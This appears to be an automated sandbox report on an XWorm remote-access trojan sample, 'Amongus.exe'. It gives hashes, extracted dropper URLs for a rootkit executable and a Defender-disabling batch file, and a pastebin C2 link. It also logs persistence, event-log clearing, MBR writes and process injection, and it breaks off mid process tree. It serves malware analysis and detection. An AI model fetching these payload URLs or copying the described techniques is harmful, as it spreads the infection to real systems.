xworm | 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

Analysis

max time kernel
19s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
04/03/2025, 21:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Amongus.exe
Size

55KB
MD5

5a56065a3cb76c24738719ff09686ea6
SHA1

269254a2a77e708480d05b355348a6756cf3130e
SHA256

98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67
SHA512

e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad
SSDEEP

768:vIU44Oj5X88UOzTx4tfLFFO7mWbIwhTzkKL/t/X6snGRohJOcCouejK:vHCZNOpFO79bIw9IK5/rbO+uh

Score

10^/10

xworm bootkit defense_evasion execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
pastebin_url
https://pastebin.com/raw/GMv8QPCE

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2696-1-0x0000000000B80000-0x0000000000B94000-memory.dmp	family_xworm
behavioral1/memory/2696-604-0x000000001CCD0000-0x000000001CCE2000-memory.dmp	family_xworm
behavioral1/files/0x000500000001da55-1460.dat	family_xworm
behavioral1/memory/4556-1822-0x0000000000F70000-0x0000000000F84000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5072 created 612	5072	MasonRootkit.exe	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	936	powershell.exe
28	936	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
936	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
28	936	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	MasonRootkit.exe
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	Amongus.exe

Executes dropped EXE 2 IoCs

pid	Process
4900	MasonRootkit.exe
5072	MasonRootkit.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Amongus = "C:\\Users\\Admin\\AppData\\Roaming\\Amongus.exe"	Amongus.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
35	pastebin.com
46	raw.githubusercontent.com
27	raw.githubusercontent.com
28	raw.githubusercontent.com
34	pastebin.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5072 set thread context of 4400	5072	MasonRootkit.exe	100

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
668	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
8148	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.a	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ani	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.api\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.appcontent-ms\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3mf\shellex\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork\Shell\Decrypt	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\Open With	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3g2\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gpp\ShellEx	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.ac3	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.accdt\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.accountpicture-ms	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acrobatsecuritysettings\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.adt\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.appcontent-ms\shellex	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3fr\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.accdt	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ans\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\Sharing	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gp\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gp2	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gpp\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.ac3\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.adts\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aiff\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.amr	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp2\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gpp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.a52	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acrobatsecuritysettings\OpenWithList	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.adt	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ans	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ape	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.appcontent-ms\shellex\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\Winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.386	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3gp	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acrobatsecuritysettings\OpenWithList\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aiff	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\{a2a9545d-a0c2-42b4-9708-a0b2badd77c8}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\PropertySheetHandlers\{883373C3-BF89-11D1-BE35-080036B11A03}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aif\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\notepad.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\OpenWithList\WordPad.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\removeproperties	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3fr\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3g2\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3gp\ShellEx	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.aac\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aifc\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\Open With EncryptionMenu	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\PropertySheetHandlers\{3EA48300-8CF6-101B-84FB-666CCB9BCD32}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3g2\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3ga	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000_Classes\.3mf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.acl	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aif\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\removeproperties\DropTarget	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork\Shell\Decrypt\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.386\PersistentHandler	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
936	powershell.exe
936	powershell.exe
5072	MasonRootkit.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
4400	dllhost.exe
4400	dllhost.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
2696	Amongus.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
2696	Amongus.exe
3628	wmiprvse.exe
3628	wmiprvse.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
2696	Amongus.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe
4400	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	Amongus.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	5072	MasonRootkit.exe
Token: SeDebugPrivilege	5072	MasonRootkit.exe
Token: SeDebugPrivilege	4400	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2472	svchost.exe
Token: SeIncreaseQuotaPrivilege	2472	svchost.exe
Token: SeSecurityPrivilege	2472	svchost.exe
Token: SeTakeOwnershipPrivilege	2472	svchost.exe
Token: SeLoadDriverPrivilege	2472	svchost.exe
Token: SeSystemtimePrivilege	2472	svchost.exe
Token: SeBackupPrivilege	2472	svchost.exe
Token: SeRestorePrivilege	2472	svchost.exe
Token: SeShutdownPrivilege	2472	svchost.exe
Token: SeSystemEnvironmentPrivilege	2472	svchost.exe
Token: SeUndockPrivilege	2472	svchost.exe
Token: SeManageVolumePrivilege	2472	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2472	svchost.exe
Token: SeIncreaseQuotaPrivilege	2472	svchost.exe
Token: SeSecurityPrivilege	2472	svchost.exe
Token: SeTakeOwnershipPrivilege	2472	svchost.exe
Token: SeLoadDriverPrivilege	2472	svchost.exe
Token: SeSystemtimePrivilege	2472	svchost.exe
Token: SeBackupPrivilege	2472	svchost.exe
Token: SeRestorePrivilege	2472	svchost.exe
Token: SeShutdownPrivilege	2472	svchost.exe
Token: SeSystemEnvironmentPrivilege	2472	svchost.exe
Token: SeUndockPrivilege	2472	svchost.exe
Token: SeManageVolumePrivilege	2472	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2472	svchost.exe
Token: SeIncreaseQuotaPrivilege	2472	svchost.exe
Token: SeSecurityPrivilege	2472	svchost.exe
Token: SeTakeOwnershipPrivilege	2472	svchost.exe
Token: SeLoadDriverPrivilege	2472	svchost.exe
Token: SeSystemtimePrivilege	2472	svchost.exe
Token: SeBackupPrivilege	2472	svchost.exe
Token: SeRestorePrivilege	2472	svchost.exe
Token: SeShutdownPrivilege	2472	svchost.exe
Token: SeSystemEnvironmentPrivilege	2472	svchost.exe
Token: SeUndockPrivilege	2472	svchost.exe
Token: SeManageVolumePrivilege	2472	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2472	svchost.exe
Token: SeIncreaseQuotaPrivilege	2472	svchost.exe
Token: SeSecurityPrivilege	2472	svchost.exe
Token: SeTakeOwnershipPrivilege	2472	svchost.exe
Token: SeLoadDriverPrivilege	2472	svchost.exe
Token: SeSystemtimePrivilege	2472	svchost.exe
Token: SeBackupPrivilege	2472	svchost.exe
Token: SeRestorePrivilege	2472	svchost.exe
Token: SeShutdownPrivilege	2472	svchost.exe
Token: SeSystemEnvironmentPrivilege	2472	svchost.exe
Token: SeUndockPrivilege	2472	svchost.exe
Token: SeManageVolumePrivilege	2472	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2472	svchost.exe
Token: SeIncreaseQuotaPrivilege	2472	svchost.exe
Token: SeSecurityPrivilege	2472	svchost.exe
Token: SeTakeOwnershipPrivilege	2472	svchost.exe
Token: SeLoadDriverPrivilege	2472	svchost.exe
Token: SeSystemtimePrivilege	2472	svchost.exe
Token: SeBackupPrivilege	2472	svchost.exe
Token: SeRestorePrivilege	2472	svchost.exe
Token: SeShutdownPrivilege	2472	svchost.exe
Token: SeSystemEnvironmentPrivilege	2472	svchost.exe
Token: SeUndockPrivilege	2472	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5932	Conhost.exe
3848	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 936	2696	Amongus.exe	89
PID 2696 wrote to memory of 936	2696	Amongus.exe	89
PID 936 wrote to memory of 4900	936	powershell.exe	92
PID 936 wrote to memory of 4900	936	powershell.exe	92
PID 2696 wrote to memory of 4444	2696	Amongus.exe	93
PID 2696 wrote to memory of 4444	2696	Amongus.exe	93
PID 4900 wrote to memory of 5072	4900	MasonRootkit.exe	97
PID 4900 wrote to memory of 5072	4900	MasonRootkit.exe	97
PID 4900 wrote to memory of 2980	4900	MasonRootkit.exe	98
PID 4900 wrote to memory of 2980	4900	MasonRootkit.exe	98
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 5072 wrote to memory of 4400	5072	MasonRootkit.exe	100
PID 2980 wrote to memory of 668	2980	cmd.exe	101
PID 2980 wrote to memory of 668	2980	cmd.exe	101
PID 4400 wrote to memory of 612	4400	dllhost.exe	5
PID 4400 wrote to memory of 676	4400	dllhost.exe	7
PID 4400 wrote to memory of 960	4400	dllhost.exe	12
PID 4400 wrote to memory of 336	4400	dllhost.exe	13
PID 4400 wrote to memory of 392	4400	dllhost.exe	14
PID 4400 wrote to memory of 620	4400	dllhost.exe	15
PID 4400 wrote to memory of 1096	4400	dllhost.exe	17
PID 4400 wrote to memory of 1104	4400	dllhost.exe	18
PID 4400 wrote to memory of 1116	4400	dllhost.exe	19
PID 4400 wrote to memory of 1216	4400	dllhost.exe	20
PID 4400 wrote to memory of 1252	4400	dllhost.exe	21
PID 4400 wrote to memory of 1320	4400	dllhost.exe	22
PID 4400 wrote to memory of 1376	4400	dllhost.exe	23
PID 4400 wrote to memory of 1412	4400	dllhost.exe	24
PID 4400 wrote to memory of 1428	4400	dllhost.exe	25
PID 4400 wrote to memory of 1492	4400	dllhost.exe	26
PID 4400 wrote to memory of 1552	4400	dllhost.exe	27
PID 4400 wrote to memory of 1568	4400	dllhost.exe	28
PID 4400 wrote to memory of 1628	4400	dllhost.exe	29
PID 4400 wrote to memory of 1700	4400	dllhost.exe	30
PID 4400 wrote to memory of 1716	4400	dllhost.exe	31
PID 4400 wrote to memory of 1788	4400	dllhost.exe	32
PID 4400 wrote to memory of 1840	4400	dllhost.exe	33
PID 4400 wrote to memory of 1896	4400	dllhost.exe	34
PID 4400 wrote to memory of 1904	4400	dllhost.exe	35
PID 4400 wrote to memory of 1964	4400	dllhost.exe	36
PID 4400 wrote to memory of 2080	4400	dllhost.exe	37
PID 4400 wrote to memory of 2092	4400	dllhost.exe	38
PID 4400 wrote to memory of 2224	4400	dllhost.exe	40
PID 4400 wrote to memory of 2424	4400	dllhost.exe	41
PID 4400 wrote to memory of 2440	4400	dllhost.exe	42
PID 4400 wrote to memory of 2472	4400	dllhost.exe	43
PID 4400 wrote to memory of 2488	4400	dllhost.exe	44
PID 4400 wrote to memory of 2496	4400	dllhost.exe	45
PID 4400 wrote to memory of 2640	4400	dllhost.exe	46
PID 4400 wrote to memory of 2652	4400	dllhost.exe	47
PID 4400 wrote to memory of 2680	4400	dllhost.exe	48
PID 4400 wrote to memory of 2708	4400	dllhost.exe	49
PID 4400 wrote to memory of 2728	4400	dllhost.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{82483b06-e75f-45a7-8721-0e0a8b03b2dd}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4400
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:7936

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1116
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
